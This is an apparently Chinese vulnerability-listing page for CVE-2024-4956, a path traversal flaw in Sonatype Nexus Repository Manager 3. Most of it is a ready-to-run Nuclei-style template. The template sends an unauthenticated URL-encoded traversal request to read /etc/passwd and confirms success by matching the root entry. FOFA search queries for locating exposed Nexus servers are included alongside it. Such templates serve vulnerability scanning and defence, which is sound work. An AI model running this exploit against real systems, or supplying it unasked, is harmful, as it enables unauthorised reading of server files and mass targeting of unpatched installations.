CVE-2024-4956: Sonatype Nexus Repository Manager 3 - Local File Inclusion

日期: 2025-08-01 | 影响软件: Sonatype Nexus Repository Manager 3 | POC: 已公开

漏洞描述

Path Traversal in Sonatype Nexus Repository 3 allows an unauthenticated attacker to read system files. Fixed in version 3.68.1.

PoC代码[已公开]

id: CVE-2024-4956

info:
  name: Sonatype Nexus Repository Manager 3 - Local File Inclusion
  author: ritikchaddha
  severity: high
  description: |
    Path Traversal in Sonatype Nexus Repository 3 allows an unauthenticated attacker to read system files. Fixed in version 3.68.1.
  reference:
    - https://x.com/phithon_xg/status/1793517567560335428?s=46&t=GMMfJwV8rhJHdcj2TUympg
    - https://nvd.nist.gov/vuln/detail/CVE-2024-4956
    - https://support.sonatype.com/hc/en-us/articles/29416509323923
    - https://github.com/fkie-cad/nvd-json-data-feeds
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-4956
    cwe-id: CWE-22
    epss-score: 0.94028
    epss-percentile: 0.99888
    cpe: cpe:2.3:a:sonatype:nexus:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: sonatype
    product: nexus
    fofa-query:
      - title="Nexus Repository Manager"
      - title="nexus repository manager"
  tags: cve,cve2024,nexus,lfi,sonatype,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd"

    matchers:
      - type: dsl
        dsl:
          - regex('root:.*:0:0:', body)
          - contains(header, "application/octet-stream")
          - status_code == 200
        condition: and
# digest: 490a0046304402204dcc34a80243cae4db4a34b8f4464c31161358bd38df1f3c99bd2dec2ab9690102206f3288a76d528585d5c6defaaf9e1ee9beb182999b62d8417f3802b51d07465e:922c64590222798bb761d5b6d8e72950

相关漏洞推荐